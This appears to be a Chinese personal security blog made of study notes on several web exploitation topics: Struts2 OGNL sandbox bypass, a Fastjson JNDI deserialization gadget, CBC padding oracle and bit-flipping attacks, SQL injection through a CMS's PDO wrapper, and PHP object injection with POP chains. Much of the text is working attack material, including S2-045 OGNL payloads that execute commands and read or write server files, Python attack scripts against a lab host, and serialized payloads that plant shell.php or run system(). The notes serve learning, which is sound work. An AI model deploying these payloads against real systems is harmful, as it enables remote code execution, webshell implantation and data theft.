k1n9 发布的文章

好久没管博客了,怕这个博客也废了,传个以前写的笔记上来。当初写这个原因也很简单,每次struts2的漏洞出来了,连大佬们的POC都看不懂为啥要这样写,即使有了POC也不懂得咋去变通使用,所以就去学习了一发,笔记做的比较简略了。最近的考试都完了,虽然还没毕业,但是感觉整个大学都结束了一般。

struts2 框架

web.xml为整个项目的入口。
添加struts2的过滤器,

<filter>
    <filter-name>struts2</filter-name>
    <filter-class>org.apache.struts2.dispatcher.FilterDispatcher</filter-class>
</filter>

<filter-mapping>
    <filter-name>struts2</filter-name>
    <url-pattern>/*</url-pattern>
</filter-mapping>

更新:
在 Struts 2.1.3 之后用的过滤器为 StrutsPrepareAndExecuteFilter 或者 StrutsPrepareFilter + StrutsExecuteFilter,前者做一些准备工作,处理请求(比如普通的请求还是文件上传之类),后者便是执行 Action。

filter-mapping中还有个dispatcher标签,值有REQUEST(默认值),INCLUDE,FORWARD,ERROR

filter必须要实现javax.servlet.Filter接口

过滤器中的三个方法:

  • void init(FilterConfig config) 用于完成Filter的初始化
  • void destroy() 用于Filter销毁前完成某些资源的回收
  • void doFilter(ServletRequest request, ServletResponse respone, FilterChain chain) 完成过滤功能,对每个请求及响应进行拦截和处理

在struts.xml 中定义相应的action应该做什么

action类的编写

变量要具有setter和getter方法
一个不带参数的execute()方法

ServletActionContext是直接访问Servlet API的工具类

ActionContext表示的是Action的上下文环境,它封装了一个Action运行所需要的环境,有value_stack、session、application、parameters、locale

提交一个请求时,会为这个请求创建一个和web容器交互的ActionContext,与此同时会创建ValueStack,并置于ActionContext之中。而实例化Action之后,就会将这个action对象压入ValueStack中

OGNL

(对象图导航语言),是应用于Java中的一个开源的表达式语言(Expression Language),它被集成在Struts2等框架中,作用是对数据进行访问,它拥有类型转换、访问对象方法、操作集合对象等功能。

#访问非根对象#application.username(struts中值栈为根对象),过滤集合books.{?#this.price>35},构造Map,#{'foo1':'bar1', 'foo2':'bar2'}

%的作用是在标签的属性值被理解为字符串类型时,告诉执行环境%{}里的是OGNL表达式

$在国际化资源文件中或是Struts2配置文件中引用OGNL表达式

静态的方法调用和值访问,表达式的格式为@[类全名(包括包路径)]@[方法名|值名]

EXP

struts2在2.3.14.1版本之后便设置#_memberAccess["allowStaticMethodAccess"]为不可修改,而要调用java静态方法,必须要设置allowStaticMethodAccess为true才可以

沙盒绕过,通过ognl表达式静态调用获取ognl.OgnlContext的DEFAULT_MEMBER_ACCESS属性,并将获取的结果覆盖_memberAccess属性,这样就可以绕过SecurityMemberAccess的限制

S02-045

%{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@[email protected]('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@[email protected]().getOutputStream())).(@[email protected](#process.getInputStream(),#ros)).(#ros.flush())}
(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess=#dm).(#cmd='whoami').(#cmds={'cmd.exe','/c',#cmd}).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@[email protected]().getOutputStream())).(@[email protected](#process.getInputStream(),#ros)).(#ros.flush())

执行命令

#nike='multipart/form-data',#[email protected]@DEFAULT_MEMBER_ACCESS,#cmd='whoami',#cmds={'cmd.exe','/c',#cmd},#p=new java.lang.ProcessBuilder(#cmds),#p.redirectErrorStream(true),#process=#p.start(),#[email protected]@getResponse().getOutputStream(),@[email protected](#process.getInputStream(),#ros),#ros.flush()

物理路径

#nike='multipart/form-data',#[email protected]@DEFAULT_MEMBER_ACCESS,#[email protected]@getRequest(),#[email protected]@getResponse().getWriter(),#o.println(#r.getRealPath('/')),#o.close()

列目录

#nike='multipart/form-data',#[email protected]@DEFAULT_MEMBER_ACCESS,#l=new java.io.File('d:/Tomcat 7.0/webapps/S2-032/').list(),#[email protected]@getResponse().getWriter(),#o.println(#l[0]),#o.close()

读文件

#nike='multipart/form-data',#[email protected]@DEFAULT_MEMBER_ACCESS,#f=new java.io.FileInputStream('d:/Tomcat 7.0/webapps/S2-032/c.jsp'),#b=new byte[999999],#s=new java.lang.String(#b,0,#f.read(#b)),#[email protected]@getResponse().getWriter(),#o.println(#s),#o.close()

写文件

#nike='multipart/form-data',#[email protected]@DEFAULT_MEMBER_ACCESS,#[email protected]@getRequest(),#f=new java.io.File('d:/Tomcat 7.0/webapps/S2-032/test.jsp'),@[email protected](#r.getInputStream(),new java.io.FileOutputStream(#f))

更新:更简洁的 payload,更多的可以参考 marshalsec 文档

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://ip:port/Object","autoCommit":true}

其实这个 Gadget 是借助 Setter 来做的触发,因为 Fastjson 在还原对象的时候用的 Setter 来给对象中的成员变量赋值。从 SetautoCommit 方法开始最终会进入一个 lookup 方法,参数就是 dataSourceName,所以这里也用到了 JNDI 注入,再结合 RMI 服务上绑定的是一个引用,最终会根据 url 去远程加载相应的类。这个 Gadget 的原理大概就是这样了,不过 JNDI 注入在 Java 7u131/8u121 之后默认情况下 trustURLCodeBase 设为 False,是没法进行远程的类加载的了。

这个洞出来有一段时间了,当时也跟着去分析了的,感觉接触和使用Java还是太少了。分析这个的过程中还是学到不少Java还有使用IDEA做调试的姿势,简单的记录下...

Java中的序列化和反序列化

  • 一个类要实现java.io.Serializable接口才可以被序列化,要想其父类也被序列化,那父类同样要实现该接口
  • 通过ObjectOutputStream和ObjectInputStream对对象进行序列化及反序列化
  • 序列化不会管类中的静态变量
  • 用Transient关键子可以阻止变量被序列化,在反序列化后该变量会被设为初始值,如int型为0,对象型为null

Fastjson

  • JSON.parseObject() 可以将JSON格式的字符串转化成对象
  • JSON.toJSONString() 反之,将对象转化成JSON格式的字符串

public域的变量才会被这两个函数处理,或者是有public作用域的Setter和Getter。Setter影响parseObject(),Getter影响toJSONString()。

import java.io.Serializable;

/**
 * Created by k1n9 on 2017/5/14.
 */
public class Person implements Serializable{
    private int Id;
    private String Username;

    public int getId() {
        return Id;
    }
    public void setId(int id) {
        Id = id;
    }

    public String getUsername() {
        return Username;
    }
    public void setUsername(String username) {
        Username = username;
    }
}
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.serializer.SerializerFeature;

/**
 * Created by k1n9 on 2017/5/14.
 */
public class Test {
    public static void main(String args[]){
        Person p = new Person();
        p.setId(2);
        p.setUsername("qqtest");

        System.out.println(JSON.toJSONString(p, new SerializerFeature[] {SerializerFeature.WriteClassName, SerializerFeature.DisableCircularReferenceDetect
        }));

        String jsonStr = "{\"@type\":\"Person\",\"id\":2,\"username\":\"qqtest\"}";
        System.out.println(JSON.parseObject(jsonStr, Person.class).getUsername());
    }
}

输出:
{"@type":"Person","id":2,"username":"qqtest"}
qqtest

删掉getId和setUsername的public作用域,输出:
{"@type":"Person","username":"qqtest"}
null

但是parseObject中可以加个Feature.SupportNonPublicField来使得它支持非public域的。

漏洞利用

看别人的分析时是利用的com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,这个类中存在一个执行链:
getOutputProperties() -> newTransformer() -> getTransletInstance()
最终_bytecodes中的字节码会被实例化,它的值可以来自一个构造函数中有Runtime来执行命令的类编译后的字节码。这样就可以达到命令执行的效果了。
下个断点来看完整的调用过程:
59182104ae539.jpg
其中还是有不少细节的,poc这些不打算写了,可以参考下面两个大佬的博文:
http://xxlegend.com/2017/04/29/title-%20fastjson%20%E8%BF%9C%E7%A8%8B%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96poc%E7%9A%84%E6%9E%84%E9%80%A0%E5%92%8C%E5%88%86%E6%9E%90/
https://ricterz.me/posts/Fastjson%20Unserialize%20Vulnerability%20Write%20Up

上学期密码程序设计的时候选的MD5就想到了解好了原理可以去写一篇关于其长度扩展攻击的博客,只是一直拖着没写。这几天打比赛的时候又碰到了跟密码学相关的题目了,密码学方面是真的弱,是时候记录一发了。

CBC的加密与解密

引用下维基对CBC的描述:

1976年,IBM发明了密码分组链接(CBC,Cipher-block chaining)。在CBC模式中,每个明文块先与前一个密文块进行异或后,再进行加密。在这种方法中,每个密文块都依赖于它前面的所有明文块。同时,为了保证每条消息的唯一性,在第一个块中需要使用初始化向量。

CBC属于分组密码工作模式,所以在加密或是解密之前都会有一个分组的过程。比如:AES-128-CBC,AES-192-CBC,AES-256-CBC则对应分组大小为16,24,32。因为明文不一定刚好够分,往往会出现最后一个分组中字节比分组设定的大小要小的情况,这时候就要进行填充,将最后一个分组填充到设定好的分组大小,这个填充过程到写Padding Oracle Attack再说。接下来做的就是每个分组的明文块分别加密后得到的密文块组合起来就是密文了。解密就是相对应的一个逆向过程。

CBC加密过程:
58c66c7a6df8b.png
使用公式描述:
58c66f4632842.jpg
明文块与上一组密文块进行一次异或再被加密处理成对应的密文,第一组明文的话是与一个初始化向量(IV)进行异或。

CBC解密过程:
58c674cdf0c01.png
使用公式描述:
58c6759ae738c.jpg
就是对应加密的一个逆向过程了,了解好这两个过程对下面说的两个攻击是有很大的帮助的。这里并没有去关注它里面具体的加密/解密的实现哈,因为对要说的两种攻击没影响=。=
这两个过程都会用到的变量:

  • IV 初始化向量
  • P 明文
  • C 密文
  • Key 进行具体加密过程需要用的一个变量

Padding Oracle Attack

这个攻击记得以前拿wvs去扫asp.net站点的时候会看到不少存在这个漏洞的提示,只不过那会不懂得,问了下群里,有人给我说就是攻击Oracle数据库的,哈哈。
实际上这里的Oracle应该理解为“提示”,也就是根据服务器的“提示”(响应)进行相应填充的一个攻击。这个攻击能出现的原因是解密函数在对密文解密后会对填充信息进行校验,要是填充信息不对就会解密失败,解密失败是可能返回错误信息或者服务器直接500。
能达到的一个攻击效果:在不知道Key的情况下获取明文

填充过程在这个攻击中是很重要的。这里只介绍PKCS#5这个常用的填充方式,也就是缺少n个字节就给它填充n个n,例如8个字节分组的:(下面大量盗图开始,下面参考里有连接)
58c69052c73b5.jpg
注意图中的Ex4这里要是刚好满足分组大小的话,会添加一个分组并用相应的n填充满。再来看看有填充的加密和解密过程:
58c6986d97d92.jpg
58c698e140d1a.jpg
我们就是利用这个会对填充信息进行校验来进行攻击的,还有一点就是CBC是分组加密的,所以也是对应着对一组一组进行攻击。一个攻击过程:
58c69d7e8fdba.jpg
这里传进去一个密文分组,和全是0的IV进行攻击,解密得到的最后一位为0x3D。填充信息的校验会失败,因为根据上面的填充方式知道,最后一组解密出来是必然带填充信息的,这里要是只有一位填充信息的话,那它肯定得是0x01。
58c6a08f3cbf3.jpg
58c6a090d951b.jpg
接下来要做的就是不断增大IV(0x00-0xff),直到填充信息的校验成功。这样我们就可以用0x01和0x3C异或得到中间值的一位0x3D。这里的中间值是由具体解密过程得到的,只要与真实的IV进行异或就可以得到明文了,不清楚的话可以再去看看上面的CBC加解密过程。所以我们想得到明文只要拿到这个中间值就行了。这里还有一种情况就是如果中间值的后两位为0x00和0x02,那么我们传进去的初始向量的后两位为0x02和0x00时也能通过校验,所以一个更好的做法是校验成功时,再去修改IV的前一位看还是不是校验成功,成功的话这一位才是对的。
58c6a55d0475b.jpg
然后就是测试两位填充信息的情况。先要将IV的最后一位修改,值由0x3D和0x02异或得到。同样将IV的倒数第二位不断增大,直到校验成功得到中间值的倒数第二位。
58c6a55e57883.jpg
重复上述过程就可以得到完整的中间值,和原来的IV进行异或得到第一个分组的明文。类推,可以得到所有的明文块。
由攻击过程得知这种攻击的两个前提条件:

  • 攻击者知道密文和IV
  • 攻击者可以通过服务器的相应知道解密的成功与否

Bit Flipping Attack

比特翻转攻击,可以达到的一个攻击效果:修改密文解密后的明文
这个攻击的原理还是很好理解的。首先要知道C = A xor B的话,那么A,B,C这三者中的任意两个进行异或必然可以得到第三个的值。
假设C为上面提到的中间值,A为初始向量,B为解密后的明文。现在想把明文A给替换成D,那么只要改变A = C xor B就行了,也就是A = A xor B xor D。类推,要是A为其它块密文的话,那么就可以改变下一个块的明文。要注意的一点就是你要是改变的是最后一块的明文长度,要记得把填充信息也进行异或处理。
由攻击过程得知这种攻击的两个前提条件:

  • 攻击者知道密文和IV
  • 攻击者知道密文解密后的明文(这个可以由上面的那种攻击得到)

Demo及攻击脚本

写一个小demo:

<?php 
$type = "aes-128-cbc";    //加密类型,即分组大小为16
$P = "I_am_secret!";    //明文
$Key = "aAbBcCdDeE";    //加密要用到的Key
$IV = "aAbBcC2333333333";    //初始化向量,因为有一个异或的过程,所以它的大小和分组大小要一样

$C = openssl_encrypt($P, $type, $Key, OPENSSL_RAW_DATA, $IV);
//满足padding oracle attack前提条件1
print "iv: ".base64_encode($IV)."<br>";
print "c: ".base64_encode($C)."<br>";    //可能存在不可显示的字符,加个base64的编码

if(isset($_GET['s']) && isset($_GET['iv'])){
    $s = base64_decode($_GET['s']);
    $iv = base64_decode($_GET['iv']);
    if(($n = openssl_decrypt($s, $type, $Key, OPENSSL_RAW_DATA, $iv)) !== false){        //解密失败会返回false
        //bit flipping attack
        if($n === "admin"){
            print "well done!";
        }
    }else{
        //满足padding oracle attack前提条件2
        die("Fail!");
    }
}
?>

Padding Oracle攻击脚本:

import requests
import base64

url = 'http://hack.lo/cbc_po.php'
N = 16
l = [0] * N
iv = 'YUFiQmNDMjMzMzMzMzMzMw=='.decode('base64')
tmp_iv = ''
out = [0] * N
s = ''

for i in range(1, N+1):
    for c in range(0,256):
        l[N-i] = c
        tmp_iv = ''
        for m in l:
            tmp_iv += chr(m)
        print tmp_iv.encode('hex')
        payload = "?s=CQdsygAk3x07nzfUB5T3Qg%3D%3D&iv=" + base64.b64encode(tmp_iv).replace('=','%3d').replace('/','%2f').replace('+','%2b')
        data = requests.get(url+payload).content
        if 'Fail!' not in data:
            out[N-i] = c ^ i
            for y in range(i):
                l[N-y-1] = out[N-y-1] ^ (i+1)
            break

for i in range(N):
    out[i] = out[i] ^ ord(iv[i])
for c in out:
    s += chr(c)
print s

Bit Flipping攻击脚本:

import base64

p = "I_am_secret!"
iv = "YUFiQmNDMjMzMzMzMzMzMw==".decode('base64')
out = ''

out += chr(ord(p[0]) ^ ord(iv[0]) ^ ord('a'))
out += chr(ord(p[1]) ^ ord(iv[1]) ^ ord('d'))
out += chr(ord(p[2]) ^ ord(iv[2]) ^ ord('m'))
out += chr(ord(p[3]) ^ ord(iv[3]) ^ ord('i'))
out += chr(ord(p[4]) ^ ord(iv[4]) ^ ord('n'))
out += chr(ord(p[5]) ^ ord(iv[5]) ^ 11)
out += chr(ord(p[6]) ^ ord(iv[6]) ^ 11)
out += chr(ord(p[7]) ^ ord(iv[7]) ^ 11)
out += chr(ord(p[8]) ^ ord(iv[8]) ^ 11)
out += chr(ord(p[9]) ^ ord(iv[9]) ^ 11)
out += chr(ord(p[10]) ^ ord(iv[10]) ^ 11)
out += chr(ord(p[11]) ^ ord(iv[11]) ^ 11)
out += chr(4 ^ ord(iv[12]) ^ 11)
out += chr(4 ^ ord(iv[13]) ^ 11)
out += chr(4 ^ ord(iv[14]) ^ 11)
out += chr(4 ^ ord(iv[15]) ^ 11)

print base64.b64encode(out)

后记

比赛时写的脚本并没有对base64编码中的+,/,=进行url编码,导致只能跑出明文的一部分,代码写的烂啊,得好好写代码去。这个demo也是根据比赛时的题目弄得,但它那题目里的if判断中是没有和false进行判断的,明文的第一位会跑不出来,因为全填充16的时候它解密成功结果会是空,这样的话解密失败和解密成功就没区别了。

参考

http://blog.gdssecurity.com/labs/2010/9/14/automated-padding-oracle-attacks-with-padbuster.html

在网上搜到关于PDO的信息大多都是如何使用它来防止注入这样的安全问题出现,导致以前一直觉得只要是使用PDO的预处理来操作数据库的话就不会再有注入的出现。直到前些时间看了微擎的源码后发现并不是这样的,再好的东西用的不好还是会有问题出现。也难怪它被挖了这么多的注入。。。

一些基本的用法

  • PDO::query() — 执行一条语句,并返回一个PDOStatement对象
  • PDO::exec() — 执行一条 SQL 语句,并返回受影响的行数
  • PDO::errorInfo() — 获取跟上一次语句句柄操作相关的扩展错误信息
  • PDO::prepare() — 预处理一条SQL语句,并返回一个PDOStatement对象
  • PDOStatement::execute() — 执行一条预处理语句

结合点代码来看

<?php
    define( 'host', 'localhost' );
    define( 'user', 'root' );
    define( 'password', 'root' );
    define( 'dbname', 'mytest' );

    function connect(){
        try {
            $PDO = new PDO( 'mysql:host=' . host . ';dbname=' . dbname, user, password );
        }catch (PDOException $e) {
            echo 'Error connecting to MySQL: ' . $e->getMessage();
        }

        return $PDO;
    }

    $pdo = connect();
    /*
    $res = $pdo->query("SELECT * FROM admin;");
    返回一个PDOStatement对象,可通过fetchobject()来获取数据
    */
    /*
    $res = $pdo->exec("DELETE from admin WHERE id=3 or id=4;");
    返回影响的行数,这里的话就是2了
    */

    //$sql = "SELECT * FROM admin WHERE id=? or id=?";
    $sql = "SELECT * FROM admin WHERE id=:id1 or id=:id2";
    //上面是两种不同的参数标记方式

    $stmt = $pdo->prepare($sql);

    //$res = $stmt->execute(array(1, 2));
    $res = $stmt->execute(array('id1'=>1, 'id2'=>2));
    //上面是对应不同参数标记方式的绑定PHP变量的方法,也可以用bindParam()来绑定变量
    
    var_dump($res);
    echo '<br>';
    echo '<br>errorinfo:<br>';
    var_dump($stmt->errorinfo());
    echo '<br><br>data:<br>';
    var_dump($stmt->fetchobject());
?>

问题的出现

正常的预处理的话是不会发生问题的,但当预处理的句子受用户的输入控制的时候问题就出现了。预处理句子可控的话就跟平时的注入没啥区别了,联合查询或是PDO支持多语句的执行都可以,要是调用了errorinfo的话还可以构造报错的句子来进行注入。

有的时候代码是用了用户的输入来做为预处理语句里的参数标记,这种情况预处理的句子就是可控的了。看个微擎实际的例子。

framework/class/db.class.php中的implode函数

private function implode($params, $glue = ',') {
        $result = array('fields' => ' 1 ', 'params' => array());
        $split = '';
        $suffix = '';
        $allow_operator = array('>', '<', '<>', '!=', '>=', '<=', '+=', '-=', 'LIKE', 'like');
        if (in_array(strtolower($glue), array('and', 'or'))) {
            $suffix = '__';
        }
        if (!is_array($params)) {
            $result['fields'] = $params;
            return $result;
        }
        if (is_array($params)) {
            $result['fields'] = '';
            foreach ($params as $fields => $value) {
                $operator = '';
                if (strpos($fields, ' ') !== FALSE) {
                    list($fields, $operator) = explode(' ', $fields, 2);
                    if (!in_array($operator, $allow_operator)) {
                        $operator = '';
                    }
                }
                if (empty($operator)) {
                    $fields = trim($fields);
                    if (is_array($value)) {
                        $operator = 'IN';
                    } else {
                        $operator = '=';
                    }
                } elseif ($operator == '+=') {
                    $operator = " = `$fields` + ";
                } elseif ($operator == '-=') {
                    $operator = " = `$fields` - ";
                }
                if (is_array($value)) {
                    $insql = array();
                    foreach ($value as $k => $v) {
                        $insql[] = ":{$suffix}{$fields}_{$k}";
                        $result['params'][":{$suffix}{$fields}_{$k}"] = is_null($v) ? '' : $v;
                    }
                    $result['fields'] .= $split . "`$fields` {$operator} (".implode(",", $insql).")";
                    $split = ' ' . $glue . ' ';
                } else {
                    $result['fields'] .= $split . "`$fields` {$operator}  :{$suffix}$fields";
                    $split = ' ' . $glue . ' ';
                    $result['params'][":{$suffix}$fields"] = is_null($value) ? '' : $value;
                }
            }
        }
    return $result;
}

要是传入的参数是一个数组的话,它会拿数组的名字和下标结合成一个预处理语句的参数标记。拿一个之前的漏洞点来试下,加个die(var_dump())来看预处理的句子
5843b98de9b81.jpg
参数标记还要成功绑定才不会直接是错误不执行预处理的句子,结合一个之前的注入点这里的一个利用方法就是
5843bb1e853b3.jpg
这里用报错语句的原因是代码默认是有调用errorinfo函数的。再贴张当时在官方demo测试的图
5843bbce6bd77.jpg

后记

这个是之前在先知提交的,后来发现重了,而且这么久了官方也一直没修。就当是记录PDO的一些知识了,还有就是这文章本来两天前就应该写好了的,结果傻逼的误删了一个卷再加上一些其它的事就拖到了今天了 - -

在理解对象注入之前要知道的一些东西。

PHP中的序列化

在说序列化之前,我记得以前有过这样一个疑问:为什么需要序列化?
后来我在网上搜到了这样一个回答很好的解决了我的疑问。

"你有一个应用程序,需要传一些数据给其它应用程序,但数据保存在你的进程的堆栈中,其它进程无法访问你的应用程序进程的堆栈,要想把你的程序的数据给其它程序使用,必须将数据以某种形式传给其它进程,这个‘某种形式’就是序列化 。"

写了一小段代码来查看PHP不同类型变量序列化后的样子。

<?php
    $v1 = 123;
    $v2 = 1.23;
    $v3 = '123';
    $v4 = true;
    $v5 = array();
    $v6 = array('key'=>1,2,3);
    class base{
    }
    class base2{
        public $v = '123';
    }
    $v7 = new base;
    $v8 = new base2;

    $i = 1;
    while($i < 9){
        echo serialize(${'v'.$i})."\n";        //PHP使用serialize函数进行序列化
        $i ++;
    }
?>

输出:

i:123;                 //整数类型:值;
d:1.23;                //双精度类型
s:3:"123";             //字符串类型:字符串长度:字符串的值;
b:1;                   //布尔类型,0或1
a:0:{}                 //数组类型:元素个数:{}
a:3:{s:3:"key";i:1;i:0;i:2;i:1;i:3;}
O:4:"base":0:{}        //对象类型:类名长度:类名:属性个数:{}
O:5:"base2":1:{s:1:"v";s:3:"123";}

可以看到变量序列化后会变成带有数据类型和值的字符串。其中数组的花括号里根据元素的键名和值(序列化后)依次排列,类对象的花括号里则是根据成员变量名和值(序列化后)依次排列。对象要留意的是只会序列化成员变量,而不会序列化其中的方法,执行序列化的代码还必须包含该类的定义。

PHP中的反序列化

反序列化就是将变量序列化后形成的字符串还原成原来的数据。可以写代码来看一下这个过程。

<?php
    $v1 = unserialize('s:3:"123";');    //PHP使用unserialize函数进行反序列化
    class base2{
        public $v;
    }
    $v2 = unserialize('O:5:"base2":1:{s:1:"v";s:3:"123";}');

    var_dump($v1);
    var_dump($v2);
?>

输出:

string(3) "123"
object(base2)#1 (1) {
  ["v"]=>
  string(3) "123"
}

可以看到反序列化后会得到原来的数据。要留意的是对象的反序列化代码中同样需要含有该类的定义。

PHP中的魔术方法

PHP的类含有一些实现特定功能的魔术方法,在对象注入的时候会用上这些方法。可以先来看一下这些方法的特点。

__construct()
在类实例化成对象的时候自动调用

__destruct()
在对象不再被使用时(将所有该对象的引用设为null)或者程序退出时自动调用

__sleep()
在对象被序列化前自动调用,该函数需要返回以类成员变量名作为元素的数组(该数组里的元素会影响类成员变量是否被序列化。只有出现在该数组元素里的类成员变量才会被序列化)

__wakeup()
在反序列化后自动调用

__toString()
在对象被当作字符串使用时自动调用

__invoke()
在对象被当作函数使用时自动调用

这里只是列了其中几个,PHP的类还包含一些用来实现属性和方法重载的魔术方法等等。
写代码来观察这些魔术方法被自动调用的过程。

<?php
    class Base{
        public $v1 = 123;
        public $v2 = '123';

        public function __construct(){
            echo "__construct is running.\n";
        }

        public function __destruct(){
            echo "__destruct is running.\n";
        }
        
        public function __sleep(){
            echo "__sleep is running.\n";
            return array('v1');        //这里只返回了v1,所以v2不会被序列化
        }

        public function __wakeup(){
            echo "__wakeup is running.\n";
        }

        public function __toString(){
            return "__toString is running.\n";
        }

        public function __invoke(){
            echo "__invoke is running.\n";
        }
    }

    $test = new Base();
    $s_test = serialize($test);
    print $s_test."\n";
    $us_test = unserialize($s_test);
    echo $test;
    $test();
?>

输出:

__construct is running.
__sleep is running.
O:4:"Base":1:{s:2:"v1";i:123;}
__wakeup is running.
__toString is running.
__invoke is running.
__destruct is running.
__destruct is running.

通过输出和之前的介绍,可以清楚的知道这些魔术方法在什么时候会被自动调用,这点对下面的对象注入是很重要的。

对象注入

往当前程序里注入一个定义好的类的对象。再结合类里的魔术方法中的一些存在安全问题的函数来进行攻击。这里可能造成的攻击是多种多样的,例如代码执行,SQLi等等。该类型漏洞高度依赖于魔术方法的自动触发特点。

对象注入漏洞出现的两个前提条件:

  1. unserialize的参数可控。
  2. 代码里有定义一个含有魔术方法的类,并且该方法里出现一些使用类成员变量作为参数的存在安全问题的函数。

简化之前SugarCRM v6.5.23对象注入漏洞写的一个代码例子:

<?php     
    class CacheFile{
        protected $_localStore = array();
        protected $_cacheFileName = 'externalCache.php';
        protected $_cacheChanged = false;
        function __construct(){
            //some code...
        }

        function __destruct(){
            if($this->_cacheChanged)
                file_put_contents($this->_cacheFileName, serialize($this->_localStore));
        }

        function __wakeup(){
            //some code...
        }
    }

    $data = unserialize($_REQUEST['rest_data']);
?>

构造payload的代码:

<?php 
     class CacheFile{
         protected $_localStore = '<?php phpinfo();?>';
         protected $_cacheFileName = 'shell.php';
         protected $_cacheChanged = true;
     }

     print urlencode(serialize(new CacheFile()));
?>

利用:

http://hack.lo/obi/?rest_data=O%3A9%3A%22CacheFile%22%3A3%3A{s%3A14%3A%22%00*%00_localStore%22%3Bs%3A18%3A%22%3C%3Fphp+phpinfo()%3B%3F%3E%22%3Bs%3A17%3A%22%00*%00_cacheFileName%22%3Bs%3A9%3A%22shell.php%22%3Bs%3A16%3A%22%00*%00_cacheChanged%22%3Bb%3A1%3B}

要留意类成员变量的访问限制关键字。

POP Chain

POP(Property-Oriented Programming),是Esser在2009年的时候提出的一个对象注入的利用方法。当你找到的魔术方法不可以直接利用,但它有调用其它方法或者使用其它的变量时,可以在其它的类中寻找同名的方法或是变量,直到到达一个可以利用的点。这样的攻击方法称为代码复用攻击(将内存中的代码片段一点一点的组合起来,并最终构造成一个可以利用的payload)。这个一步一步把代码连起来的攻击过程在PHP应用里被称为构造POP链对对象注入漏洞进行利用。
漏洞代码例子:

<?php 
    class Systeminfo{
        public $cmd = 'systeminfo';

        public function getinfo(){
            system($this->cmd);
        }

        public function show(){
            $this->getinfo();
        }
    }

    class Books{
        public $bookname = 'This is bookname!';

        public function show(){
            echo $this->bookname;
        }
    }

    class Display{
        public $handle;

        public function __construct(){
            $this->handle = new Books();
        }

        public function __destruct(){
            $this->handle->show();
        }
    }

    $data = unserialize($_REQUEST['data']);
?>

构造payload的代码:

<?php
    class Systeminfo{
        public $cmd = 'whoami';
    }
    class Display{
        public $handle;

        function __construct(){
            $this->handle = new Systeminfo;
        }
    }

    print serialize(new Display);
?>

利用:

http://hack.lo/obi/pop.php?data=O:7:"Display":1:{s:6:"handle";O:10:"Systeminfo":1:{s:3:"cmd";s:6:"whoami";}}

如何去发现该漏洞

  1. 寻找代码中参数可控的unserialize函数。
  2. 寻找类含有的魔术方法,观察找到的魔术方法的实现看能否被利用。

当找到一个参数可控的unserialize函数时,可以利用get_included_files来查看当前脚本包含有哪些文件,从而在这些文件里找有定义的类,再在这些类中找魔术方法。

参考

http://syssec.rub.de/media/emma/veroeffentlichungen/2014/09/10/POPChainGeneration-CCS14.pdf